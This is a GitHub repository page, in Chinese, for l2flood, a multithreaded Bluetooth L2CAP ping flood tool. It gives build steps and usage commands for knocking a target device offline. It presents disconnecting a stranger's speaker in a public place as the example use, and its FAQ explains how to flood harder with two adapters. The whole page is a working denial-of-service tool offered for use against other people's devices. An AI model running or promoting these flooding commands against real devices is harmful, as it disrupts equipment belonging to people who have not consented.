kovmir/l2flood

GitHub: kovmir/l2flood

多线程蓝牙 L2CAP ping 泛洪工具,通过高并发请求迫使目标设备断开连接。

Stars: 104 | Forks: 14

# l2flood [![builds.sr.ht 状态](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml.svg)](https://builds.sr.ht/~kovmir/l2flood/commits/master/.build.yml?) 多线程版 [l2ping][1]。 通过向指定的蓝牙设备泛洪 ping 请求,强制其断开连接。 # 安装说明 先满足[依赖项](#dependencies),然后: ``` git clone https://git.sr.ht/~kovmir/l2flood cd l2flood make # Use `make serial` to build upstream l2ping. sudo make install ``` # 使用说明 假设公共场所有一个嘈杂的蓝牙音箱,并且假设 `94:3a:2c:e1:2b:07` 是其地址。你可以这样将其关闭: ``` l2flood 94:3a:2c:e1:2b:07 # Flood with as much threads as there are CPU cores. l2flood -n 50 94:3a:2c:e1:2b:07 # Flood with 50 threads. ``` 性能较弱的音箱 CPU 无法同时处理如此大量的 ping 请求和音乐解码,因此它会断开连接。 请注意: * 数据包之间的默认延迟已更改为 `0`。 * 默认数据包大小已增加到 `600`。 * [`l2ping` 选项][1] 有效。 * *你的蓝牙网卡是瓶颈:即使你拥有多核千兆赫兹 CPU,启动多达 1,000 个线程也没什么意义,因为你的蓝牙网卡不太可能足够快地处理所有请求,跟上你提交的速度。* # 依赖项 * [Bluez][3] * 在 Debian/Ubuntu/Kali 上执行 `sudo apt install -y libbluetooth-dev`。 # 支持的操作系统 * Linux # 常见问题解答 **问:在 [termux][2] 中有效吗?** 答:无效,[termux][2] 中没有 [Bluez][3] 库。 **问:在 Steam Deck 上有效吗?** 答:有效。 **问:如何提高泛洪效率?** 答:获取第二块蓝牙网卡,并同时使用它们进行泛洪。 ``` BT_ADDR='00:00:00:00:00:00' # Set the target address. l2flood -i hci0 $BT_ADDR & l2flood -i hci1 $BT_ADDR ``` **问:如何修复 `Can't create socket: Operation not permitted`?** 答:请以 `root` 用户身份重新运行。
标签:BlueZ, DoS工具, L2CAP, l2ping, Linux安全工具, 协议模糊测试, 客户端加密, 客户端加密, 拒绝服务, 无线干扰, 网络压力测试, 蓝牙劫持, 蓝牙攻击, 蓝牙泛洪, 蓝牙渗透测试, 资源耗尽攻击